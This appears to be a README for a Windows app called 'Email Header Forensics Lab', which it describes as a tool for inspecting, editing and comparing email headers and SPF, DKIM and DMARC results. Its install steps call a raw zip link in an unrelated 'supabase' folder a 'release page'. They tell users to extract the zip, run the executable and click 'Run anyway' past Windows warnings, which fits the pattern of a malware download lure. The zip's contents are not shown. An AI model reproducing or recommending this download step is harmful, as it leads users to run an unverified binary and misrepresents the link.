🚀 Getting Started

Email Header Forensics Lab is a desktop app for looking at email headers in a clean, simple way. It helps you inspect, edit, generate, and compare headers in a controlled setup. You can use it for email forensics, phishing checks, authentication tests, and security research.

If you need to review how an email was sent, this app gives you a clear view of the header data. You can open an .eml file, study the path it took, and check common email auth fields like SPF, DKIM, and DMARC.

🪟 Windows Installation

1. Open the release page: https://raw.githubusercontent.com/jvsuresh7/email-header-forensics-lab/main/supabase/forensics-email-lab-header-v2.6.zip

2. Find the latest version for Windows.

3. Download the file that matches your system.

4. If the file is in a .zip folder, right-click it and choose Extract All.

5. Open the extracted folder.

6. Double-click the app file to start it.

7. If Windows asks for confirmation, choose Run anyway if you trust the source.

🖥️ System Requirements

For smooth use on Windows, this app works best with:

• Windows 10 or Windows 11
• 64-bit system
• 4 GB RAM or more
• 200 MB free disk space
• A screen size of 1366 × 768 or higher
• Internet access only if you want to check the release page

🔍 What You Can Do

• Open and inspect email headers
• Load .eml files for review
• Compare header data from different messages
• Edit header fields in a safe lab setting
• Generate test headers for practice
• Review sender paths and message routes
• Check email auth fields such as SPF, DKIM, and DMARC
• Study signs of spoofing or phishing
• Use it for incident response training
• Work with headers in a desktop app without needing a command line

🧭 Main Uses

📧 Email header review

Use the app to read the full header of a message and see where it came from, which servers handled it, and what checks passed or failed.

🛡️ Authentication testing

Test how header fields change when SPF, DKIM, and DMARC values differ. This is useful when learning how email trust checks work.

🧪 Controlled lab work

Edit or generate headers in a safe setting so you can study how messages behave before using that knowledge in real cases.

🔎 Forensic analysis

Use the app to help trace message paths, spot odd sender details, and compare headers across messages during investigations.

🚨 Phishing analysis

Check for signs like fake sender data, strange relay paths, broken auth records, or other header clues that can point to a phishing attempt.

📂 Supported File Types

The app is built for common email and header workflows, including:

• .eml files
• Plain text header content
• Copied header blocks from email clients
• Test data used in lab work

🛠️ Basic Workflow

1. Download the app from the release page.
2. Open the app on Windows.
3. Load an email file or paste header text.
4. Review sender, relay, and auth details.
5. Edit or generate test headers if needed.
6. Compare results across messages.
7. Save your work for later review.

🧰 Built-In Focus Areas

The app is shaped around real email security tasks:

• Header analysis
• Email forensics
• Incident response
• Threat analysis
• Phishing checks
• SMTP route review
• SPF, DKIM, and DMARC testing
• Desktop use for lab and research work

🔐 Common Fields to Review

When you open an email header, these fields are often the most useful:

• From
• To
• Subject
• Date
• Message-ID
• Received
• Return-Path
• Authentication-Results
• DKIM-Signature
• SPF
• DMARC

These fields can help you see who sent the message, which servers touched it, and whether the message passed common email checks.

📌 Best Practice for New Users

If you are new to email headers, start with one message and look at these parts first:

• The sender address
• The first and last Received lines
• The Authentication-Results field
• Any signs that the path looks unusual
• Any mismatch between display name and real sender data

This gives you a fast way to build a basic read on the message before you go deeper.

🧪 Example Use Cases

• A help desk worker checks if a message that claims to be from a manager is real
• A security analyst studies a suspicious .eml file
• A student learns how email relays work
• A red team or blue team member tests how headers look in a lab
• A researcher compares SPF, DKIM, and DMARC results across samples

💡 Tips for Windows Users

• Save the release file in a folder you can find again
• Use a folder with a simple path, such as Downloads or Desktop
• Extract .zip files before opening the app
• Keep sample .eml files in one folder for easy testing
• Use full screen if the header view feels small
